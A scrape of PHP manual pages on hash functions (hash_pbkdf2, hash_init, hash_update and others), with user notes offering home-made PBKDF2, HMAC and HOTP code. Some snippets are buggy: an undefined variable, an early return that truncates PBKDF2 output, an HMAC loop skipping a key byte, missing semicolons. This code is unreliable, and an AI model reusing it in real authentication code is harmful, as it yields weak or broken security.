   bd6664330ed96b9b39ee063241b62e43f546a49d

   bd6664330ed96b9b39ee063241b62e43f546a49d
   590546d9f425188da35e5dfa53306ba3953571cc

   With PHP 5.3
   bd6664330ed96b9b39ee063241b62e43f546a49d
   590546d9f425188da35e5dfa53306ba3953571cc

   bd6664330ed96b9b39ee063241b62e43f546a49d
   590546d9f425188da35e5dfa53306ba3953571cc
*/

?>
havoc at NOSPAM defuse dot ca 01-Jul-2012 01:30
Here is an efficient PBDKF2 implementation:

<?php
/*
 * PBKDF2 key derivation function as defined by RSA's PKCS #5: https://www.ietf.org/rfc/rfc2898.txt
 * $algorithm - The hash algorithm to use. Recommended: SHA256
 * $password - The password.
 * $salt - A salt that is unique to the password.
 * $count - Iteration count. Higher is better, but slower. Recommended: At least 1024.
 * $key_length - The length of the derived key in bytes.
 * $raw_output - If true, the key is returned in raw binary format. Hex encoded otherwise.
 * Returns: A $key_length-byte key derived from the password and salt.
 *
 * Test vectors can be found here: https://www.ietf.org/rfc/rfc6070.txt
 *
 * This implementation of PBKDF2 was originally created by defuse.ca
 * With improvements by variations-of-shadow.com
 */
function pbkdf2($algorithm, $password, $salt, $count, $key_length, $raw_output = false)
{
    $algorithm = strtolower($algorithm);
    if(!in_array($algorithm, hash_algos(), true))
        die('PBKDF2 ERROR: Invalid hash algorithm.');
    if($count <= 0 || $key_length <= 0)
        die('PBKDF2 ERROR: Invalid parameters.');

    $hash_length = strlen(hash($algorithm, "", true));
    $block_count = ceil($key_length / $hash_length);

    $output = "";
    for($i = 1; $i <= $block_count; $i++) {
        // $i encoded as 4 bytes, big endian.
        $last = $salt . pack("N", $i);
        // first iteration
        $last = $xorsum = hash_hmac($algorithm, $last, $password, true);
        // perform the other $count - 1 iterations
        for ($j = 1; $j < $count; $j++) {
            $xorsum ^= ($last = hash_hmac($algorithm, $last, $password, true));
        }
        $output .= $xorsum;
    }

    if($raw_output)
        return substr($output, 0, $key_length);
    else
        return bin2hex(substr($output, 0, $key_length));
}
?>
martin dot papik at ipsec dot info 09-Jun-2012 04:38
Yet another OATH HOTP function. Has a 64 bit counter and is a lot shorter. Enjoy.

<?php

function oath_hotp ($secret, $ctr, $len=6) {
        $binctr = pack ('NNC*', $ctr>>32, $ctr & 0xFFFFFFFF);
        $hash = hash_hmac ("sha1", $binctr, $secret);
// This is where hashing stops and truncation begins
        $ofs = 2*hexdec (substr ($hash, 39, 1));
        $int = hexdec (substr ($hash, $ofs, 8)) & 0x7FFFFFFF;
        $pin = substr ($int, -$len);
        $pin = str_pad ($pin, $len, "0", STR_PAD_LEFT);
        return $pin;
}

?>
josefkoh at hotmail dot com 27-Jul-2011 07:24
Simple implementation of hmac sha1

<?php

function hmac_sha1($key, $data)
{
    // Adjust key to exactly 64 bytes
    if (strlen($key) > 64) {
        $key = str_pad(sha1($key, true), 64, chr(0));
    }
    if (strlen($key) < 64) {
        $key = str_pad($key, 64, chr(0));
    }

    // Outter and Inner pad
    $opad = str_repeat(chr(0x5C), 64);
    $ipad = str_repeat(chr(0x36), 64);

    // Xor key with opad & ipad
    for ($i = 0; $i < strlen($key); $i++) {
        $opad[$i] = $opad[$i] ^ $key[$i];
        $ipad[$i] = $ipad[$i] ^ $key[$i];
    }

    return sha1($opad.sha1($ipad.$data, true));
}
Peter Terence Roux 23-Dec-2010 12:44
The Implementation of the PBKDF2 key derivation function as described in RFC 2898 can be used to not only get the hashed KEY but also a specific IV.

To use, one would use it as follows:-

<?php
  $p = str_hash_pbkdf2($pw, $salt, 10, 32, 'sha1');
  $p = base64_encode($p);

  $iv = str_hash_pbkdf2($pw, $salt, 10, 16, 'sha1', 32);
  $iv = base64_encode($iv);
?>

The function should be:-

<?php
  // PBKDF2 Implementation (described in RFC 2898)
  //
  // @param   string  p   password
  // @param   string  s   salt
  // @param   int     c   iteration count (use 1000 or higher)
  // @param   int     kl  derived key length
  // @param   string  a   hash algorithm
  // @param   int     st  start position of result
  //
  // @return  string  derived key
  function str_hash_pbkdf2($p, $s, $c, $kl, $a = 'sha256', $st=0)
  {
    $kb = $start+$kl;                        // Key blocks to compute
    $dk = '';                                    // Derived key

    // Create key
    for ($block=1; $block<=$kb; $block++)
    {
      // Initial hash for this block
      $ib = $h = hash_hmac($a, $s . pack('N', $block), $p, true);

      // Perform block iterations
      for ($i=1; $i<$c; $i++)
      {
        // XOR each iterate
        $ib ^= ($h = hash_hmac($a, $h, $p, true));
      }

      $dk .= $ib;                                // Append iterated block
    }

    // Return derived key of correct length
    return substr($dk, $start, $kl);
  }
?>
Siann Beck 10-Oct-2010 06:48
For signing an Amazon AWS query, base64-encode the binary value:

<?php
  $Sig = base64_encode(hash_hmac('sha256', $Request, $AmazonSecretKey, true));
?>
KC Cloyd 10-Sep-2009 08:16
Sometimes a hosting provider doesn't provide access to the Hash extension. Here is a clone of the hash_hmac function you can use in the event you need an HMAC generator and Hash is not available. It's only usable with MD5 and SHA1 encryption algorithms, but its output is identical to the official hash_hmac function (so far at least).

<?php

function custom_hmac($algo, $data, $key, $raw_output = false)
{
    $algo = strtolower($algo);
    $pack = 'H'.strlen($algo('test'));
    $size = 64;
    $opad = str_repeat(chr(0x5C), $size);
    $ipad = str_repeat(chr(0x36), $size);

    if (strlen($key) > $size) {
        $key = str_pad(pack($pack, $algo($key)), $size, chr(0x00));
    } else {
        $key = str_pad($key, $size, chr(0x00));
    }

    for ($i = 0; $i < strlen($key) - 1; $i++) {
        $opad[$i] = $opad[$i] ^ $key[$i];
        $ipad[$i] = $ipad[$i] ^ $key[$i];
    }

    $output = $algo($opad.pack($pack, $algo($ipad.$data)));

    return ($raw_output) ? pack($pack, $output) : $output;
}

?>

Example Use:

<?php

custom_hmac('sha1', 'Hello, world!', 'secret', true);

?>
brent at thebrent dot net 21-May-2009 05:17
The hotp algorithms above work with counter values less than 256, but since the counter can be larger, it's necessary to iterate through all the bytes of the counter:

<?php
function oath_hotp ($key, $counter)
{
    // Counter
    //the counter value can be more than one byte long, so we need to go multiple times
    $cur_counter = array(0,0,0,0,0,0,0,0);
    for($i=7;$i>=0;$i--)
    {
        $cur_counter[$i] = pack ('C*', $counter);
        $counter = $counter >> 8;
    }
    $bin_counter = implode($cur_counter);
    // Pad to 8 chars
    if (strlen ($bin_counter) < 8)
    {
        $bin_counter = str_repeat (chr(0), 8 - strlen ($bin_counter)) . $bin_counter;
    }

    // HMAC
    $hash = hash_hmac ('sha1', $bin_counter, $key);
    return $hash;
}

function oath_truncate($hash, $length = 6)
{
    // Convert to dec
    foreach(str_split($hash,2) as $hex)
    {
        $hmac_result[]=hexdec($hex);
    }

    // Find offset
    $offset = $hmac_result[19] & 0xf;

    // Algorithm from RFC
    return
    (
        (($hmac_result[$offset+0] & 0x7f) << 24 ) |
        (($hmac_result[$offset+1] & 0xff) << 16 ) |
        (($hmac_result[$offset+2] & 0xff) << 8 ) |
        ($hmac_result[$offset+3] & 0xff)
    ) % pow(10,$length);
}
print "<pre>";
print "Compare results with:";
print " http://tools.ietf.org/html/draft-mraihi-oath-hmac-otp-04\n";
print "Count\tHash\t\t\t\t\t\tPin\n";
for($i=0;$i<=1024;$i=$i+128)
{
   print $i."\t".($a=oath_hotp("12345678901234567890",$i));
   print "\t".oath_truncate($a)."\n";
}
?>
torben dot egmose at gmail dot com 22-Mar-2009 08:40
HOTP Algorithm that works according to the RCF http://tools.ietf.org/html/draft-mraihi-oath-hmac-otp-04
The test cases from the RCF document the ASCII string as "123456787901234567890".
But the hex decoded to a string is "12345678901234567890".
Secret="12345678901234567890";
Count:
0 755224
1 287082
<?php
function oath_hotp($key,$counter) {

   // Convert to padded binary string
   $data = pack ('C*', $counter);
   $data = str_pad($data,8,chr(0),STR_PAD_LEFT);

   // HMAC
   return hash_hmac('sha1',$data,$key);
}

function oath_truncate($hash, $length = 6) {

   // Convert to dec
   foreach(str_split($hash,2) as $hex) {
      $hmac_result[]=hexdec($hex);
   }

   // Find offset
   $offset = $hmac_result[19] & 0xf;

   // Algorithm from RFC
   return (
         (($hmac_result[$offset+0] & 0x7f) << 24 ) |
         (($hmac_result[$offset+1] & 0xff) << 16 ) |
         (($hmac_result[$offset+2] & 0xff) << 8 ) |
         ($hmac_result[$offset+3] & 0xff)
         ) % pow(10,$length);
}

print "<pre>";
print "Compare results with:"
print " http://tools.ietf.org/html/draft-mraihi-oath-hmac-otp-04\n";
print "Count\tHash\t\t\t\t\t\tPin\n";
for($i=0;$i<10;$i++)
   print $i."\t".($a=oath_hotp("12345678901234567890",$i))
   print "\t".oath_truncate($a)."\n";
Carlos Averett(caverett*@*corecodec,net) 04-Jul-2008 12:54
Generating OATH-compliant OTP (one time passwords) results in PHP:

<?php
$otp = oath_truncate (oath_hotp ($key, $counter), $length);
function oath_hotp ($key, $counter) {
        // Counter
        $bin_counter = pack ('C*', $counter);

        // Pad to 8 chars
        if (strlen ($bin_counter) < 8) {
                $bin_counter = str_repeat (chr(0), 8 - strlen ($bin_counter)) . $bin_counter;
        }

        // HMAC
        $hash = hash_hmac ('sha1', $bin_counter, $key);
        return $hash;
}

function oath_truncate ($hash, $length = 6) {
        // The last byte is used as an offset
        $offset = hexdec (substr ($hash, 38)) & 0xf;

        // Extract the relevant part, and clear the first bit
        $hex_truncated = substr ($hash, $offset * 2, 8);
        $bin_truncated = decbin (hexdec ($hex_truncated));
        $bin_truncated[0] = '0';
        $dec_truncated = bindec ($bin_truncated);

        return substr ($dec_truncated, 0 - $length);
}
?>


Initialize an incremental hashing context

  • « hash_hmac
  • hash_pbkdf2 »
  • PHP Manual
  • Hash Functions
  • Initialize an incremental hashing context

hash_init

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash_init — Initialize an incremental hashing context

Description

resource hash_init ( string $algo [, int $options = 0 [, string $key = NULL ]] )

Parameters

algo

Name of selected hashing algorithm (i.e. "md5", "sha256", "haval160,4", etc..). For a list of supported algorithms see hash_algos().

options

Optional settings for hash generation, currently supports only one option: HASH_HMAC. When specified, the key must be specified.

key

When HASH_HMAC is specified for options, a shared secret key to be used with the HMAC hashing method must be supplied in this parameter.

Return Values

Returns a Hashing Context resource for use with hash_update(), hash_update_stream(), hash_update_file(), and hash_final().

Examples

Example #1 Incremental hashing example

<?php
$ctx = hash_init('md5');
hash_update($ctx, 'The quick brown fox ');
hash_update($ctx, 'jumped over the lazy dog.');
echo hash_final($ctx);
?>

The above example will output:

5c6ffbdd40d9556b73a21e63c3e0e904

See Also

  • hash() - Generate a hash value (message digest)
  • hash_algos() - Return a list of registered hashing algorithms
  • hash_file() - Generate a hash value using the contents of a given file
  • hash_hmac() - Generate a keyed hash value using the HMAC method
  • hash_hmac_file() - Generate a keyed hash value using the HMAC method and the contents of a given file

User Contributed Notes

There are no user contributed notes for this page.


Generate a PBKDF2 key derivation of a supplied password

  • « hash_init
  • hash_update_file »
  • PHP Manual
  • Hash Functions
  • Generate a PBKDF2 key derivation of a supplied password

hash_pbkdf2

(PHP 5 >= 5.5.0)

hash_pbkdf2 — Generate a PBKDF2 key derivation of a supplied password

Description

string hash_pbkdf2 ( string $algo , string $password , string $salt , int $iterations [, int $length = 0 [, bool $raw_output = false ]] )

Parameters

algo

Name of selected hashing algorithm (i.e. md5, sha256, haval160,4, etc..) See hash_algos() for a list of supported algorithms.

password

The password to use for the derivation.

salt

The salt to use for the derivation. This value should be generated randomly.

iterations

The number of internal iterations to perform for the derivation.

length

The length of the output string. If raw_output is TRUE this corresponds to the byte-length of the derived key, if raw_output is FALSE this corresponds to twice the byte-length of the derived key (as every byte of the key is returned as two hexits).

If 0 is passed, the entire output of the supplied algorithm is used.

raw_output

When set to TRUE, outputs raw binary data. FALSE outputs lowercase hexits.

Return Values

Returns a string containing the derived key as lowercase hexits unless raw_output is set to TRUE in which case the raw binary representation of the derived key is returned.

Errors/Exceptions

An E_WARNING will be raised if the algorithm is unknown, the iterations parameter is less than or equal to 0, the length is less than 0 or the salt is too long (greater than INT_MAX - 4).

Examples

Example #1 hash_pbkdf2() example, basic usage

<?php
$password = "password";
$iterations = 1000;

// Generate a random IV using mcrypt_create_iv(),
// openssl_random_pseudo_bytes() or another suitable source of randomness
$salt = mcrypt_create_iv(16, MCRYPT_DEV_URANDOM);

$hash = hash_pbkdf2("sha256", $password, $salt, $iterations, 20);
echo $hash;
?>

The above example will output something similar to:

120fb6cffcf8b32c43e7

Notes

Caution

The PBKDF2 method can be used for hashing passwords for storage. However, it should be noted that password_hash() or crypt() with CRYPT_BLOWFISH are better suited for password storage.

See Also

  • crypt() - One-way string hashing
  • password_hash() - Creates a password hash
  • hash() - Generate a hash value (message digest)
  • hash_algos() - Return a list of registered hashing algorithms
  • hash_init() - Initialize an incremental hashing context
  • hash_hmac() - Generate a keyed hash value using the HMAC method
  • hash_hmac_file() - Generate a keyed hash value using the HMAC method and the contents of a given file

User Contributed Notes

Peter 22-Nov-2013 12:03
See also https://github.com/rchouinard/hash_pbkdf2-compat for a compatibility function
does dot not at matter dot org 26-Oct-2013 12:30
this snippet was posted over a year ago on a dutch PHP community: (reference/source: http://www.phphulp.nl/php/script/beveiliging/pbkdf2-een-veilige-manier-om-wachtwoorden-op-te-slaan/1956/pbkdf2php/1757/)

<?php

/**
 * @author Chris Horeweg
 * @package Security_Tools
 */

function pbkdf2($password, $salt, $algorithm = 'sha512', $count = 20000, $key_length = 128, $raw_output = false)
{
    if(!in_array($algorithm, hash_algos(), true)) {
        exit('pbkdf2: Hash algoritme is niet geinstalleerd op het systeem.');
    }

    if($count <= 0 || $key_length <= 0) {
        $count = 20000;
        $key_length = 128;
    }

    $hash_length = strlen(hash($algorithm, "", true));
    $block_count = ceil($key_length / $hash_length);

    $output = "";
    for($i = 1; $i <= $block_count; $i++) {
        $last = $salt . pack("N", $i);
        $last = $xorsum = hash_hmac($algorithm, $last, $password, true);
        for ($j = 1; $j < $count; $j++) {
            $xorsum ^= ($last = hash_hmac($algorithm, $last, $password, true));
        }
        $output .= $xorsum;
    }

    if($raw_output) {
        return substr($output, 0, $key_length);
    }
    else {
        return base64_encode(substr($output, 0, $key_length));
    }
}
Binod Kumar Luitel 18-Oct-2013 07:25
People who wants pure PHP implementation of the function, i.e. who don't have PHP 5.5 installed within their server, can use the following implementation. Nothing has been modified so far as from reference https://defuse.ca/php-pbkdf2.htm but the OOP lovers might like this.
For more information about PBKDF2 see: http://en.wikipedia.org/wiki/PBKDF2

<?php
/**
 * PBKDF2 key derivation function as defined by RSA's PKCS #5: https://www.ietf.org/rfc/rfc2898.txt
 * $algorithm - The hash algorithm to use. Recommended: SHA256
 * $password - The password.
 * $salt - A salt that is unique to the password.
 * $count - Iteration count. Higher is better, but slower. Recommended: At least 1000.
 * $key_length - The length of the derived key in bytes.
 * $raw_output - If true, the key is returned in raw binary format. Hex encoded otherwise.
 * Returns: A $key_length-byte key derived from the password and salt.
 */
if (!function_exists("hash_pbkdf2")) {
    function hash_pbkdf2($algorithm, $password, $salt, $count, $key_length, $raw_output = false) {

        class pbkdf2 {
            public $algorithm;
            public $password;
            public $salt;
            public $count;
            public $key_length;
            public $raw_output;

            private $hash_length;
            private $output         = "";

            public function __construct($data = null)
            {
                if ($data != null) {
                    $this->init($data);
                }
            }

            public function init($data)
            {
                $this->algorithm  = $data["algorithm"];
                $this->password   = $data["password"];
                $this->salt       = $data["salt"];
                $this->count      = $data["count"];
                $this->key_length = $data["key_length"];
                $this->raw_output = $data["raw_output"];
            }

            public function hash()
            {
                $this->algorithm = strtolower($this->algorithm);
                if(!in_array($this->algorithm, hash_algos(), true))
                    throw new Exception('PBKDF2 ERROR: Invalid hash algorithm.');

                if($this->count <= 0 || $this->key_length <= 0)
                    throw new Exception('PBKDF2 ERROR: Invalid parameters.');

                $this->hash_length = strlen(hash($this->algorithm, "", true));
                $block_count = ceil($this->key_length / $this->hash_length);
                for ($i = 1; $i <= $block_count; $i++) {
                    // $i encoded as 4 bytes, big endian.
                    $last = $this->salt . pack("N", $i);
                    // first iteration
                    $last = $xorsum = hash_hmac($this->algorithm, $last, $this->password, true);
                    // perform the other $this->count - 1 iterations
                    for ($j = 1; $j < $this->count; $j++) {
                        $xorsum ^= ($last = hash_hmac($this->algorithm, $last, $this->password, true));
                    }
                    $this->output .= $xorsum;
                    if($this->raw_output)
                        return substr($this->output, 0, $this->key_length);
                    else
                        return bin2hex(substr($this->output, 0, $this->key_length));
                }
            }
        }

        $data = array('algorithm' => $algorithm, 'password' => $password, 'salt' => $salt, 'count' => $count, 'key_length' => $key_length, 'raw_output' => $raw_output);
        try {
            $pbkdf2 = new pbkdf2($data);
            return $pbkdf2->hash();
        } catch (Exception $e) {
            throw $e;
        }
    }
}
Anonymous 14-Jul-2013 01:29
Sadly this function was added in PHP 5.5 but many webservers just provide PHP 5.3. But there exists a pure PHP implementation (found here: https://defuse.ca/php-pbkdf2.htm).
I took this implementation, put it into a class with comments for PHPDoc and added a switch so that the native PHP function is used if available.

Feel free to use it!
http://pastebin.com/f5PDq735
(Posted on pastebin.com since the text would have been too long)


Pump data into an active hashing context from a file

  • « hash_pbkdf2
  • hash_update_stream »
  • PHP Manual
  • Hash Functions
  • Pump data into an active hashing context from a file

hash_update_file

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash_update_file — Pump data into an active hashing context from a file

Description

bool hash_update_file ( resource $hcontext , string $filename [, resource $scontext = NULL ] )

Parameters

hcontext

Hashing context returned by hash_init().

filename

URL describing location of file to be hashed; Supports fopen wrappers.

scontext

Stream context as returned by stream_context_create().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hash_init() - Initialize an incremental hashing context
  • hash_update() - Pump data into an active hashing context
  • hash_update_stream() - Pump data into an active hashing context from an open stream
  • hash_final() - Finalize an incremental hash and return resulting digest
  • hash() - Generate a hash value (message digest)
  • hash_file() - Generate a hash value using the contents of a given file

User Contributed Notes

There are no user contributed notes for this page.


Pump data into an active hashing context from an open stream

  • « hash_update_file
  • hash_update »
  • PHP Manual
  • Hash Functions
  • Pump data into an active hashing context from an open stream

hash_update_stream

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash_update_stream — Pump data into an active hashing context from an open stream

Description

int hash_update_stream ( resource $context , resource $handle [, int $length = -1 ] )

Parameters

context

Hashing context returned by hash_init().

handle

Open file handle as returned by any stream creation function.

length

Maximum number of characters to copy from handle into the hashing context.

Return Values

Actual number of bytes added to the hashing context from handle.

Examples

Example #1 hash_update_stream() example

<?php
$fp = tmpfile();
fwrite($fp, 'The quick brown fox jumped over the lazy dog.');
rewind($fp);

$ctx = hash_init('md5');
hash_update_stream($ctx, $fp);
echo hash_final($ctx);
?>

The above example will output:

5c6ffbdd40d9556b73a21e63c3e0e904

See Also

  • hash_init() - Initialize an incremental hashing context
  • hash_update() - Pump data into an active hashing context
  • hash_final() - Finalize an incremental hash and return resulting digest
  • hash() - Generate a hash value (message digest)
  • hash_file() - Generate a hash value using the contents of a given file

User Contributed Notes

There are no user contributed notes for this page.


Pump data into an active hashing context

  • « hash_update_stream
  • hash »
  • PHP Manual
  • Hash Functions
  • Pump data into an active hashing context

hash_update

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash_update — Pump data into an active hashing context

Description

bool hash_update ( resource $context , string $data )

Parameters

context

Hashing context returned by hash_init().

data

Message to be included in the hash digest.

Return Values

Returns TRUE.

See Also

  • hash_init() - Initialize an incremental hashing context
  • hash_update_file() - Pump data into an active hashing context from a file
  • hash_update_stream() - Pump data into an active hashing context from an open stream
  • hash_final() - Finalize an incremental hash and return resulting digest

User Contributed Notes

Dainichi 25-Jul-2006 03:19
A simple example on incremental file hashing:

$fp = fopen($file, "r");
$ctx = hash_init('sha256');
while (!feof($fp)) {
    $buffer = fgets($fp, 65536);
    hash_update($ctx, $buffer);
}
$hash = hash_final($ctx, true);
fclose($fp);

While incremental hashing is quite slow, it's the easiest way to hash
- parts of large files: I.e., a 700MB avi video uses first x bytes to store metadata, so in order to hash the avi's data only, you have to fseek to data start and use incremental hashing
- streaming data if php just proxies the data
- whenever it's inadequate or impossible to store the data being hashed into memory (i.e. because of their size) or on disc.


Generate a hash value (message digest)

  • « hash_update
  • Mcrypt »
  • PHP Manual
  • Hash Functions
  • Generate a hash value (message digest)

hash

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash — Generate a hash value (message digest)

Description

string hash ( string $algo , string $data [, bool $raw_output = false ] )

Parameters

algo

Name of selected hashing algorithm (i.e. "md5", "sha256", "haval160,4", etc..)

data

Message to be hashed.

raw_output

When set to TRUE, outputs raw binary data. FALSE outputs lowercase hexits.

Return Values

Returns a string containing the calculated message digest as lowercase hexits unless raw_output is set to true in which case the raw binary representation of the message digest is returned.

Changelog

Version | Description
5.4.0 | The tiger algorithm now uses big-endian byte ordering.

Examples

Example #1 A hash() example

<?php
echo hash('ripemd160', 'The quick brown fox jumped over the lazy dog.');
?>

The above example will output:

ec457d0a974c48d5685a7efa03d137dc8bbde7e3

See Also

  • hash_file() - Generate a hash value using the contents of a given file
  • hash_hmac() - Generate a keyed hash value using the HMAC method
  • hash_init() - Initialize an incremental hashing context
  • md5() - Calculate the md5 hash of a string
  • sha1() - Calculate the sha1 hash of a string

User Contributed Notes

buar42 at gmail dot com 30-Sep-2013 05:45
I made a PHP script that will let you sort all the available hashes on your system by generation time or by the length of the hash. It shows a general correlation on my system (longer hashes take longer to calculate) but some are faster than others, for example, sha512 makes the (joint) longest hash, but is actually only ninth slowest (from 43 hashes available on my machine)

As I understand it, the strength of a hash is dependant on the number of collisions that it has (where two input values produce the same hash) so with an infinite number of input values but a finite number of hashes, there are a (theoretically) infinite number of collisions. But, if you have a longer hash, then you're dividing infinity by a larger number, so you'll have fewer collisions.

In reality the number of collisions will be limited by the minimum and maximum password lengths that you choose to allow, so that if you enforce a policy where passwords must be exactly a certain length (20 characters for example) you'll have a large number of unique passwords, but a smaller number of potential inputs than you have hashes coming out, so that should prevent collisions entirely. In theory.

Tl;dr: I think that longer hashes are better.

Anyway, here's the code:
<?php

$data = "hello";

foreach (hash_algos() as $v)
 {
  $time=microtime(1);
  for ($i = 0; $i < 10000; $i++)
   {
    $r[$v] = strlen(hash($v, $data.$i, false));
   }
  $t[$v] = microtime(1)-$time;
 }

switch ($_GET['sort'])
 {
  default:
   ksort ($r);
   $array = 'r';
   break;
  case 'length':
   asort ($r);
   $array = 'r';
   break;
  case 'time':
   asort ($t);
   $array = 't';
   break;
 }

echo '<pre>        <a href="?sort=alph">Name</a>        | <a href="?sort=length">Hash Length</a> | <a href="?sort=time">Time taken for 10000 hashes.</a>'."\n";
foreach ($$array as $key => $value)
 {
  echo $key;
  for ($i = strlen ($key); $i <= 19; $i++)
   {
    echo ' ';
   }
  echo '| '.$r[$key];
  for ($i = strlen ($r[$key]); $i <= 11; $i++)
   {
    echo ' ';
   }
  echo '| '.$t[$key]."\n";
 }

echo '</pre>';

?>
me at akshayjoshi dot com 22-Mar-2013 12:00
Using luka8088 at gmail dot com's code on my laptop (PHP 5.4.4 on OS X), showing fastest 50 algorithms only:

Results:
   1.  adler32 (raw)                 3340.959 microseconds
   2.  adler32 (hex)                 3345.012 microseconds
   3.  fnv132 (raw)                  5178.928 microseconds
   4.  fnv164 (hex)                  5193.948 microseconds
   5.  md4 (raw)                     5207.061 microseconds
   6.  fnv132 (hex)                  5248.069 microseconds
   7.  fnv164 (raw)                  5290.985 microseconds
   8.  md4 (hex)                     5333.9 microseconds
   9.  tiger160,3 (raw)              5499.124 microseconds
  10.  tiger128,3 (hex)              5549.907 microseconds
  11.  tiger192,3 (raw)              5578.994 microseconds
  12.  tiger192,3 (hex)              5687.952 microseconds
  13.  tiger160,3 (hex)              5755.186 microseconds
  14.  tiger128,3 (raw)              5775.928 microseconds
  15.  crc32b (raw)                  6839.036 microseconds
  16.  crc32 (raw)                   6983.995 microseconds
  17.  crc32 (hex)                   7061.004 microseconds
  18.  crc32b (hex)                  7097.005 microseconds
  19.  joaat (raw)                   7505.893 microseconds
  20.  tiger160,4 (raw)              7548.093 microseconds
  21.  joaat (hex)                   7570.028 microseconds
  22.  tiger192,4 (raw)              7591.009 microseconds
  23.  tiger160,4 (hex)              7630.825 microseconds
  24.  tiger128,4 (hex)              7750.034 microseconds
  25.  tiger128,4 (raw)              7750.988 microseconds
  26.  sha1 (raw)                    8049.964 microseconds
  27.  tiger192,4 (hex)              8301.019 microseconds
  28.  haval128,3 (raw)              9046.792 microseconds
  29.  haval192,3 (raw)              9313.106 microseconds
  30.  haval224,3 (raw)              9315.013 microseconds
  31.  haval160,3 (raw)              9329.795 microseconds
  32.  haval256,3 (raw)              9404.182 microseconds
  33.  haval160,3 (hex)              9521.007 microseconds
  34.  md5 (raw)                     9599.924 microseconds
  35.  haval128,3 (hex)              9603.023 microseconds
  36.  haval192,3 (hex)              9624.004 microseconds
  37.  haval256,3 (hex)              9635.925 microseconds
  38.  haval224,3 (hex)              9652.853 microseconds
  39.  md5 (hex)                     9654.045 microseconds
  40.  haval256,4 (raw)              12173.891 microseconds
  41.  haval160,4 (raw)              12346.982 microseconds
  42.  haval256,4 (hex)              12598.037 microseconds
  43.  haval224,4 (hex)              12600.898 microseconds
  44.  haval128,4 (raw)              12680.053 microseconds
  45.  sha512 (raw)                  12681.961 microseconds
  46.  haval160,4 (hex)              12733.936 microseconds
  47.  sha384 (raw)                  12766.122 microseconds
  48.  haval192,4 (hex)              12813.091 microseconds
  49.  haval192,4 (raw)              12818.098 microseconds
  50.  haval128,4 (hex)              12836.933 microseconds

It seems that the adler32 algorithm has gotten a lot faster.
sneskid at hotmail dot com 15-Mar-2012 06:32
On two different servers I found that crc32() relates to hash('crc32b',)
This may be good to know if you are writing a crc32_file function based on hash_file.
(The example does not compensate for negative crc32 results)
<?php
$val = 'hello';
var_dump(crc32($val) == ( '0x' . hash('crc32b', $val) ) ); // bool(true)
var_dump(crc32($val) == ( '0x' . hash('crc32', $val) ) ); // bool(false)
?>

Also if you are looking for a way to reduce collisions and still keep the hash result small (smaller than say md5) you could get a nice database friendly 64 bit value by using hash/crc32 and hash/crc32b, which is slower than a single md5 but the result may be more suitable for certain tasks.
<?php
$val = 'hello';
$crc64 = ( '0x' . hash('crc32', $val) . hash('crc32b', $val) ) );
var_dump($crc64); // string(18) "0x3d6531193610a686"
var_dump($crc64 + 0); // int(4423996193312384646)
?>

(examples tested on php 5.2.17)
note: ('0x' . $hex . + 0) is faster than base_convert($hex,16,10)
nmmm at nmmm dot nu 20-Jul-2011 10:50
I was interested how "long" each hash is, so I did:

<?php
$data = "hello";

foreach (hash_algos() as $v) {
        $r = hash($v, $data, false);
        printf("%-12s %3d %s\n", $v, strlen($r), $r);
}
?>

which produce (long hashes are cropped)

md2           32 a9046c73e00331af68917d3804f70655
md4           32 866437cb7a794bce2b727acc0362ee27
md5           32 5d41402abc4b2a76b9719d911017c592
sha1          40 aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d
sha256        64 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e730
sha384        96 59e1748777448c69de6b800d7a33bbfb9ff1b463e44354c3553
sha512       128 9b71d224bd62f3785d96d46ad3ea3d73319bfbc2890caadae2d
ripemd128     32 789d569f08ed7055e94b4289a4195012
ripemd160     40 108f07b8382412612c048d07d13f814118445acd
ripemd256     64 cc1d2594aece0a064b7aed75a57283d9490fd5705ed3d66bf9a
ripemd320     80 eb0cf45114c56a8421fbcb33430fa22e0cd607560a88bbe14ce
whirlpool    128 0a25f55d7308eca6b9567a7ed3bd1b46327f0f1ffdc804dd8bb
tiger128,3    32 a78862336f7ffd2c8a3874f89b1b74f2
tiger160,3    40 a78862336f7ffd2c8a3874f89b1b74f2f27bdbca
tiger192,3    48 a78862336f7ffd2c8a3874f89b1b74f2f27bdbca39660254
tiger128,4    32 1c2a939f230ee5e828f5d0eae5947135
tiger160,4    40 1c2a939f230ee5e828f5d0eae5947135741cd0ae
tiger192,4    48 1c2a939f230ee5e828f5d0eae5947135741cd0aefeeb2adc
snefru        64 7c5f22b1a92d9470efea37ec6ed00b2357a4ce3c41aa6e28e3b
gost          64 a7eb5d08ddf2363f1ea0317a803fcef81d33863c8b2f9f6d7d1
adler32        8 062c0215
crc32          8 3d653119
crc32b         8 3610a686
haval128,3    32 85c3e4fac0ba4d85519978fdc3d1d9be
haval160,3    40 0e53b29ad41cea507a343cdd8b62106864f6b3fe
haval192,3    48 bfaf81218bbb8ee51b600f5088c4b8601558ff56e2de1c4f
haval224,3    56 92d0e3354be5d525616f217660e0f860b5d472a9cb99d6766be
haval256,3    64 26718e4fb05595cb8703a672a8ae91eea071cac5e7426173d4c
haval128,4    32 fe10754e0b31d69d4ece9c7a46e044e5
haval160,4    40 b9afd44b015f8afce44e4e02d8b908ed857afbd1
haval192,4    48 ae73833a09e84691d0214f360ee5027396f12599e3618118
haval224,4    56 e1ad67dc7a5901496b15dab92c2715de4b120af2baf661ecd92
haval256,4    64 2d39577df3a6a63168826b2a10f07a65a676f5776a0772e0a87
haval128,5    32 d20e920d5be9d9d34855accb501d1987
haval160,5    40 dac5e2024bfea142e53d1422b90c9ee2c8187cc6
haval192,5    48 bbb99b1e989ec3174019b20792fd92dd67175c2ff6ce5965
haval224,5    56 aa6551d75e33a9c5cd4141e9a068b1fc7b6d847f85c3ab16295
haval256,5    64 348298791817d5088a6de6c1b6364756d404a50bd64e645035f
rojaro at gmail dot com 15-Sep-2010 05:01
If the given algo parameter contains an algorithm that is not supported, the hash function will return bool(false) and issue a warning.
robert+nospam at robert-gonzalez dot com 18-Jan-2010 01:08
I've recently had the need to look at various hash algorithms and their values of the same string. To make my life a little easier I wrote this little script. It takes a string and runs it through all of the available hash algorithms on your server, outputting them in a clean little HTML table.

-----

<?php
